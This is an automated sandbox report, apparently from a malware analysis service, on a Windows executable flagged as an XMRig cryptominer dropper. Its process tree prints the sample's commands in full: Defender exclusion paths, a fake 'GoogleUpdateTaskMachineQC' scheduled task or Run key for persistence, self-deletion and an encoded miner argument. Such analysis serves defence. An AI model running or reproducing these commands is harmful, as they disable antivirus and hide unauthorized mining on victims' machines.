Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    40s
  • max time network
    91s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3420
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4292
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3936
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Be5sCbvuma2nkHDa.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1928
        • C:\Windows\System32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:2668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1700
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
            3⤵
              PID:4548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1300
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4372
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
              PID:3524
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
                PID:4440
              • C:\Windows\System32\cmd.exe
                C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
                2⤵
                  PID:1168
                • C:\Windows\System32\conhost.exe
                  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
                  2⤵
                    PID:4816
                • C:\Program Files\Google\Chrome\updater.exe
                  "C:\Program Files\Google\Chrome\updater.exe"
                  1⤵
                  • Suspicious use of NtCreateUserProcessOtherParentProcess
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1960
                • C:\Windows\System32\Wbem\WMIC.exe
                  wmic PATH Win32_VideoController GET Name, VideoProcessor
                  1⤵
                  • Detects videocard installed
                  PID:4680

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      updater.exe

                      • Path C:\Program Files\Google\Chrome\updater.exe
                      • Size 1.2MB
                      • SHA256 8138c485e2ef055f4ecf94361953bf0bbb010c52ce92f2397f38c899ec78d0ce
                      • MD5 SHA1 SHA512 SSDEEP

                      updater.exe

                      • Path C:\Program Files\Google\Chrome\updater.exe
                      • Size 712KB
                      • SHA256 cdd039fff3b08c748e72b96f4fa493df4420f6a3bf386b5407b621273a3f45e2
                      • MD5 SHA1 SHA512 SSDEEP

                      g.log

                      • Path C:\Program Files\Google\Libs\g.log
                      • Size 226B
                      • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                      • MD5 SHA1 SHA512

                      powershell.exe.log

                      • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 2KB
                      • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                      • MD5 SHA1 SHA512

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 944B
                      • SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
                      • MD5 SHA1 SHA512

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 957ba84fa4551f0ba432f1bb6a23660c39e209d96f215879bff6cf5fade743aa
                      • MD5 SHA1 SHA512

                      __PSScriptPolicyTest_gw25nqoc.4z0.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gw25nqoc.4z0.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512

                      powershell.exe.log

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                      • Size 4KB
                      • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                      • MD5 SHA1 SHA512 SSDEEP

                      StartupProfileData-NonInteractive

                      • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                      • MD5 SHA1 SHA512

                      memory/1220-0-0x00007FF69FE70000-0x00007FF6A0081000-memory.dmp

                      memory/1220-36-0x00007FF69FE70000-0x00007FF6A0081000-memory.dmp

                      memory/1300-55-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/1300-80-0x000001CA33520000-0x000001CA3352A000-memory.dmp

                      memory/1300-88-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/1300-84-0x000001CA339B0000-0x000001CA339BA000-memory.dmp

                      memory/1300-82-0x000001CA33950000-0x000001CA33958000-memory.dmp

                      memory/1300-81-0x000001CA33990000-0x000001CA339AA000-memory.dmp

                      memory/1300-85-0x000001CA31380000-0x000001CA31390000-memory.dmp

                      memory/1300-65-0x000001CA31380000-0x000001CA31390000-memory.dmp

                      memory/1300-79-0x000001CA33970000-0x000001CA3398C000-memory.dmp

                      memory/1300-78-0x000001CA33510000-0x000001CA3351A000-memory.dmp

                      memory/1300-77-0x000001CA33750000-0x000001CA33805000-memory.dmp

                      memory/1300-76-0x000001CA33730000-0x000001CA3374C000-memory.dmp

                      memory/1300-66-0x00007FF4324E0000-0x00007FF4324F0000-memory.dmp

                      memory/1300-83-0x000001CA33960000-0x000001CA33966000-memory.dmp

                      memory/1700-44-0x00000298DD190000-0x00000298DD1A0000-memory.dmp

                      memory/1700-53-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/1700-50-0x00000298DD190000-0x00000298DD1A0000-memory.dmp

                      memory/1700-43-0x00000298DD190000-0x00000298DD1A0000-memory.dmp

                      memory/1700-37-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/1960-54-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp

                      memory/1960-123-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp

                      memory/1960-103-0x00007FF6946A0000-0x00007FF6948B1000-memory.dmp

                      memory/3524-127-0x00007FF6516B0000-0x00007FF6516C6000-memory.dmp

                      memory/3936-32-0x000001D9F2310000-0x000001D9F2320000-memory.dmp

                      memory/3936-34-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/3936-31-0x000001D9F2310000-0x000001D9F2320000-memory.dmp

                      memory/3936-30-0x000001D9F2310000-0x000001D9F2320000-memory.dmp

                      memory/3936-28-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/4292-1-0x00000165C03B0000-0x00000165C03D2000-memory.dmp

                      memory/4292-11-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/4292-17-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/4292-12-0x00000165C0490000-0x00000165C04A0000-memory.dmp

                      memory/4292-14-0x00000165C0490000-0x00000165C04A0000-memory.dmp

                      memory/4292-13-0x00000165C0490000-0x00000165C04A0000-memory.dmp

                      memory/4372-114-0x000001A62DA40000-0x000001A62DA50000-memory.dmp

                      memory/4372-116-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/4372-113-0x00007FF4D2E90000-0x00007FF4D2EA0000-memory.dmp

                      memory/4372-102-0x000001A62DA40000-0x000001A62DA50000-memory.dmp

                      memory/4372-100-0x000001A62DA40000-0x000001A62DA50000-memory.dmp

                      memory/4372-99-0x00007FFC841F0000-0x00007FFC84CB1000-memory.dmp

                      memory/4816-125-0x000001A259C60000-0x000001A259C80000-memory.dmp

                      memory/4816-124-0x00007FF699B50000-0x00007FF69A344000-memory.dmp

                      memory/4816-126-0x000001A25A280000-0x000001A25A2C0000-memory.dmp

                      memory/4816-128-0x00007FF699B50000-0x00007FF69A344000-memory.dmp